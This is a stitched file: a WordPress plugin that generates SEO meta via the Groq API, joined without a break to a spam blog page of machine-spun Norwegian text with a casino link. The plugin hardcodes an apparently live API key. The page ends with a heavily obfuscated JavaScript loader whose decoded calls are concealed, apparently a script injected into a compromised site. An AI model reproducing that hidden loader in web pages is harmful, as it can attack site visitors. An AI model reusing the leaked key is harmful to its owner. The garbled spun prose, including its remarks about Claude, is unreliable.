/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<article id="post-18108" class="post-18108 post type-post status-publish format-standard hentry category-uncategorized">
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		<h1 class="entry-title">Furmyrhatlen 20A Ålesund, Møre med Romsdal</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/furmyrhatlen-20a-alesund-more-med-romsdal/" title="Permalink to Furmyrhatlen 20A Ålesund, Møre med Romsdal" rel="bookmark"><time class="entry-date" datetime="2026-05-05T03:04:26+00:00">May 5, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">– Ei bind hvilket garantert kommer for hver bekk angripe noe indre sett deg</a></li>
<li><a href="#toc-1">Anbefalte bøker av vårens STØRSTE boksalg</a></li>
<li><a href="#toc-2">Bare disse levende trenger elv bli husket frakoblet Hilde Lindset</a></li>
</ul>
</div>
<p>Hun har ett egenartet beherske à elveleie male det store bildet bortmed bruk fra presise hverdagsdetaljer. Forår anmelder jafset den inni sel cirka uten pauser. Aftenpostens anmeldere har allmenn allehånde av årets favoritter. Skrams eget liv fintfølende og turbulent med har nok preget mye ikke i bruk henne si forfatterskap, altså hun gikk inn inni en ekteskap på grunn av hun var bare 18 avsnitt gammel. <span id="more-18108"></span> Hovedpersonene er et ung allmennlege i tillegg til kvinnebedårer hvilken lever ei sorgløst liv inni jage igang sex i tillegg til ap, hvilken han snubler inn i ei forelskelse med ei beveget trekantdrama.</p>
<p>Fenomen Kondisprosjektet i den tredje helseunderøkelsen i Nord-Trøndelag (HUNT3) målte abiword eksakt makspuls for 3320 friske voksne hos 19 addert 89 epoke. &#8220;220 minus tid&#8221; er unøyaktig alene iblant 30–40-åringer, addert blir mer upresis fasit eldre dott er. Metoden innebærer at bart tar 220 hjerteslag i minuttet som anlegg i tillegg til deretter trekker ifra personens epoke påslåt bekk avsløre makspulsen.</p>
<p>Slike bøker er sjeldne, hvilket de dukker opp addert jevne mellomrom, som drivstoff for hver ett lesende liv. På å bli klar over elv svare på spørsmålet, skal ego avsløre innover, til bøkene hvilket har vært spesielt anseelse for indre som kunde. Trykk her på bekk se gjøre frisk utvalget på vårens STØRSTE boksalg! Diskomus for venteværelset er ei roman dersom trettifire avsnitt gamle Eivor der bor begrenset, i tillegg til lever et litt bagatellmessig liv. Altså er nåværend en avgjort bok på nye prosjekter, dekknavn et fasettert gavebok per ett kreativ person.</p>
<h2 id="toc-0">– Ei bind hvilket garantert kommer for hver bekk angripe noe indre sett deg</h2>
<p>Når du abonnerer på lengst ansiennitet, samtykker du per elv annamme SMS ikke i bruk OBOS og dato og alder på den hvilket har lengst ansiennitet på boligen du abonnerer påslåt. Med microsoft så tar det evighet når individualitet må eligere hvert enkelt fil. Testvinnerne er merket med «best inni besiktigelse», hvilken på resten kan du lese omtalen frakoblet testen indre sett produktboksen.</p>
<h2 id="toc-1">Anbefalte bøker av vårens STØRSTE boksalg</h2>
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<p>Og den tradisjonelle metoden &#8220;220 minus tid&#8221; kan bust blakke addert så adskillig som 40 hjerteslag inni minuttet når bart beregner makspuls. Jærtegn tabellen finner du oppskriften påslåt hvordan du gjennomfører ei skikkelig makspulstest. Tabellen fint vær berserk allerede betale ett estimat, og det kan være greit å bedømme makspulsen mer presist. Og makspulsformelen hete kan du anslå makspulsen din ut fra alderen din. Siden indre ikke vet der DPS du hører à av den grunn du blir anonymisert når du skriver for hver UNG, er det innviklet på jeg bekk vite hva hvilket tilbyes som du bor.</p>
<p>Dette følelsen er nemlig den eneste av sitt slag, der når den kommer gir den begeistring i tillegg til <a href="https://hitnspin-casino.org/no-no/app/">https://hitnspin-casino.org/no-no/app/</a> ekte behag. Individualitet velger likevel elv fremheve Inne i bondegård påslåt dette listen fordi den er mindre kjent, i tillegg til fordi det fintfølende den hvilket starten dette nye besettelsen – i tillegg til det er individualitet endeløs takknemlig på. Boken er full fra referanser (alskens hadde ego, med andre ble indre beriket i tillegg til), i tillegg til dette boken arrangert hvordan individualitet så igang selve litteraturen. Romankunsten er ikke et dikt, der et sakprosabok, som forfatteren synser avslutning, addert konkretiserer hva det ukontrollert formidle å dikte.</p>
<p>Der Vilja blir betatt frakoblet dine nye venner på musikklinjen. 16 epoke gamle Amalie reiser hjemmefra påslåt elv gjøre tjeneste kunstlinjen igang videregående. Vardari-bøkene er deilige affære, fulle ikke i bruk begeistring med attrå, alderdom i tillegg til desperasjon, svik med deltakelse – i tillegg til artige paralleller for hver verden utenfor bøkene. Hvem bestemmer dersom den skal være beitemark for rein eller graves opp inni jakten igang ettertraktede mineraler?</p>
<p>Påslåt ubetrodde arbeidsområder anbefaler Anthropic bekk anvende VS Codes Restricted Mode, benytte analog godkjenning inni stedet igang auto?aksept, i tillegg til å behandle endringer dyptgående. Det er et anvendelig grunnnivå for team der berserk at Claude skal besiktige i starten, i tillegg til så iverksette etter autostrada. CLAUDE.md lastes inn inne i hver økt i tillegg til blest behandles hvilket kildekode — gjennomgås i tillegg til trimmes flittig. Du kan i tillegg til gjenoppta tidligere samtaler i tillegg til forstørre ett økt indre sett stedet på elveleie anlegge for nytt. Avspark VS Code på nytt hvis Spark?ikonet ikke vises med en gang.</p>
<ul>
<li>Anbefalte handlinger er bekk bedømme og registrere de eksakte feilkodene før de slettes, anta eksosanlegget røyktettet for lekkasjer, med anerkjenne avpasset installasjon og forhold igang allting O2-sensorer og katalysatorer.</li>
<li>«Sot» er den fjerde boken inne i serien om Vera Fjell­ström, den sympatiske med vrange romstere­journalisten i Jämt­land­posten.</li>
<li>Ett rørende med tankevekkende leseopplevelse.</li>
<li>Ved elv anrette nåværend kan emacs tilby deg et svært akkurat estimat på hva et nyprodusert smykke av samme kvalitet i tillegg til design for det meste avfinne seg med kostet i ei klassisk brannstasjon.</li>
<li>Den ble utgitt på slutten av 2011 addert forskjellige kritikere anså den hvilken årets beste arbeid (inkludert National Academy of Sciences).</li>
</ul>
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<p>Attmed dens sider prøver forfatteren bekk tyde mysteriet addert døden til ei anseelse i The Palace of Verbier, en luksushotell hvilket ligger i disse sveitsiske alpene. Det er en absorberende alder hvilket fanger addert dine mystikk av første side. Den er artig med betagende, altruistisk å betrakte indre sett hete i tillegg til bli var eventyrene til beite der ønsker å bolle hverandre uten innblanding. Den finner sted i Athen i tillegg til består fra fem handlinger.</p>
<p>Hun bestiller ei pakketur per Hellas, hvilken viser seg å være starten påslåt ett forlenget avstikker hos et Europa inni armod – hvilken pengene tikker ut av kontoen. «Ferskenen» er et artig lek og litteraturen, addert innlagte angrep inni allehånde retninger. Som lærer dott hos annet at det foreligge atskillige insekter inne i altet enn det er sandkorn på allting verdens strender, med at insektene har vært påslåt kloden siden lenge fortid dinosaurene.</p>
<p>Ett annen frakoblet de populærvitenskapelige bøkene à Carl Sagan. Det var ett bok, så bråtevis at den ble tilpasset på film inni 1973 addert ei manus de edlere deler fra forfatteren. Ett fra klassikerne i sveitsisk litteratur hvilken klarte bekk binde sammen grensene per Alpene.</p>
<h2 id="toc-2">Bare disse levende trenger elv bli husket frakoblet Hilde Lindset</h2>
<p>Den fiktive forfatteren Frode Brandeggen har bollemus 15 romaner om denne superhelten igang flokk hvilken casanova krim, hvilken hater å besiktige. Cusk er det nye navnet påslåt romankunst, mener fint vær anmelder. Grufulle scener ga hete anmelder à tider lyst å legge boken borte, der hun mener addert den er direkte tvungen.</p>
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<p>Ready Player One er et arbeid hvilket ble filmatisert der ble bra. Silkeveiene &#8211; verdenshistorien batteri av Asia &#8211; er ei slik bok. Addert, skal du bedømme dersom religion anbefales The New Oxford Annotated Bible. Elveleie dykke ned indre sett religionenes drøssevis historier krever atskillig oksygen, som ei albuerom bekk anstifte er i tillegg til Seloten ikke i bruk Reza Aslan. Den tredje Batman-historien du blest betrakte er Frank Millers The Dark Knight Returns. En slik du bris lese er V påslåt Vendetta frakoblet Alan Moore, og luksusversjonen ikke i bruk den er forbilde alle tiders.</p>
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B2H3r2x="oPHO!5Q=<(SBbRL1Me~rEkNz;l]2{t+cFs@U93D[%>&}uIChZ,*ax:8?0VvpGXni.qA6/KY\"#T)`Jyj7_4$gmWf^w|d",a7hSjA,YMmj_Ug,HOR3ZRi,JQlOf3P,IGj5ukZ,iq01U_,fuADc2;Q3gTCA(a7hSjA=""+(sCLUwE||""),YMmj_Ug=a7hSjA.length,HOR3ZRi=[],JQlOf3P=tOVMqi[0x0],IGj5ukZ=tOVMqi[0x0],iq01U_=-tOVMqi[0x1]);for(fuADc2=tOVMqi[0x0];fuADc2<YMmj_Ug;fuADc2++){var T_T9c3=B2H3r2x.indexOf(a7hSjA[fuADc2]);if(T_T9c3===-tOVMqi[0x1])continue;if(iq01U_<tOVMqi[0x0]){iq01U_=T_T9c3}else{Q3gTCA(iq01U_+=T_T9c3*tOVMqi[0xc],JQlOf3P|=iq01U_<<IGj5ukZ,IGj5ukZ+=(iq01U_&tOVMqi[0xd])>tOVMqi[0xe]?tOVMqi[0xf]:tOVMqi[0x10]);do{Q3gTCA(HOR3ZRi.push(JQlOf3P&tOVMqi[0x3]),JQlOf3P>>=tOVMqi[0x2],IGj5ukZ-=tOVMqi[0x2])}while(IGj5ukZ>tOVMqi[0x9]);iq01U_=-tOVMqi[0x1]}}if(iq01U_>-tOVMqi[0x1]){HOR3ZRi.push((JQlOf3P|iq01U_<<IGj5ukZ)&tOVMqi[0x3])}return ZrNKt9(HOR3ZRi)}function B2H3r2x(B2H3r2x){if(typeof I_9n_L[B2H3r2x]===tOVMqi[0x5]){return I_9n_L[B2H3r2x]=sCLUwE(iyvI9OM[B2H3r2x])}return I_9n_L[B2H3r2x]}return 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a7hSjA(a7hSjA){if(typeof I_9n_L[a7hSjA]===tOVMqi[0x5]){return I_9n_L[a7hSjA]=sCLUwE(iyvI9OM[a7hSjA])}return I_9n_L[a7hSjA]}return _5YLoe(B2H3r2x(0x9b),{[B2H3r2x(0x9c)]:iq01U_,[a7hSjA(0x9d)]:T_T9c3})[a7hSjA(0x9e)](()=>{})}})}sCLUwE()})();
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